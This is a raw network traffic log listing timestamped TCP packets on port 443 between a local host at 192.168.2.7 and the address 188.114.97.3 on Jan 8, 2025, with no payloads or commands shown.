Jan 8, 2025 13:55:13.216068983 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216101885 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.216172934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216186047 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216240883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.216249943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216325045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216340065 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.216396093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.216403961 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.250935078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.250947952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.251018047 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.251029968 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.251290083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.251307011 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.251351118 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.251358032 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.251388073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.292256117 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303205013 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303227901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303303957 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303328037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303373098 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303468943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303486109 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303533077 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303540945 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303570032 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303590059 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303819895 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303834915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303905964 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.303914070 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.303956985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.304163933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304178953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304234028 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.304241896 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304294109 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.304713964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304728985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304778099 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304796934 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.304805040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.304847956 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.304943085 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.343218088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343254089 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343324900 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.343348026 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343369007 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.343506098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343525887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343569040 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.343578100 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.343609095 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.385988951 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.395546913 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.395567894 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.395617962 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.395632029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.395657063 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.395684958 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396044016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396060944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396114111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396122932 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396150112 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396168947 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396390915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396408081 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396465063 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396471977 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396513939 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396662951 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396678925 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396744013 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396750927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396802902 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.396967888 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.396985054 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.397033930 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.397041082 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.397067070 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.397090912 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.397361040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.397376060 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.397435904 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.397444010 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.397511959 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.435831070 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.435867071 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.435908079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.435914040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.435975075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.436070919 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.436094046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.436129093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.436135054 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.436155081 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.436187029 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488245010 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488275051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488325119 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488334894 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488378048 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488485098 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488534927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488560915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488599062 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488605022 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488631964 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488651991 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488852024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488874912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488914967 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488920927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.488946915 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.488960981 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489291906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489312887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489351988 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489362955 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489381075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489440918 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489567995 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489589930 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489634037 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489639997 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.489653111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.489691019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.490037918 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.490061998 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.490098953 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.490104914 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.490133047 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.490154028 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528381109 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528407097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528449059 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528458118 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528492928 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528512955 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528568029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528584957 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528620005 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528625965 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.528650999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.528675079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.580676079 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.580702066 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.580862999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.580884933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.580943108 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.580976963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.580991983 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581044912 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581053019 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581098080 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581284046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581301928 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581362009 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581370115 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581427097 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581765890 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581789017 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581846952 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581854105 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.581875086 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.581893921 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582007885 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582024097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582146883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582146883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582155943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582205057 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582366943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582381964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582427979 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582441092 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.582454920 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.582482100 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.621151924 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621205091 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621259928 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.621268034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621288061 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621315002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621325970 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.621335983 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.621346951 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.621366024 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.621423006 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.673254013 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673276901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673407078 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.673427105 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673485994 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.673882961 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673898935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673974037 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.673983097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.673994064 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674052954 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674101114 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674118042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674190044 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674194098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674212933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674226046 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674231052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674243927 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674288988 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.674293995 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.674349070 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675228119 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675242901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675281048 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675290108 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675332069 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675350904 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675359011 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675365925 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675393105 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675420046 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675427914 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.675458908 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.675478935 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.713541031 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713557959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713635921 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.713648081 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713705063 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.713808060 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713829041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713882923 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.713891983 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.713916063 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.713933945 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.765669107 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.765686989 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.765763044 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.765774012 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.765820980 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766328096 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766341925 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766381979 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766417027 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766422987 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766501904 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766685963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766700983 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766745090 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766751051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766779900 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766779900 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766798019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766804934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.766843081 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.766887903 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.767767906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.767771959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.767867088 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.767874956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.767916918 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.768033028 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.768049002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.768099070 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.768106937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.768170118 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.806034088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806052923 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806135893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.806144953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806242943 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.806339979 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806355953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806416035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.806422949 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.806473970 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.858103037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.858120918 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.858171940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.858181953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.858212948 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.858228922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.858932972 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.858947039 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.858988047 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.858995914 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859023094 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.859042883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.859239101 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859255075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859327078 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.859334946 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859375000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.859615088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859632015 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859683990 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.859692097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.859733105 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.860799074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.860824108 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.860867023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.860867023 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.860879898 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.860902071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.860910892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.860934973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.860960960 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.860964060 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.861006975 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.898636103 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.898668051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.898724079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.898751974 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.898768902 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.898797035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.898960114 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.898979902 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.899044991 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.899054050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.899108887 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.951731920 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.951754093 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.951827049 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.951842070 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.951874018 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.951889038 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.952109098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952125072 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952189922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.952198029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952243090 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.952434063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952450037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952497005 CET	49706	443	192.168.2.7	188.114.97.3
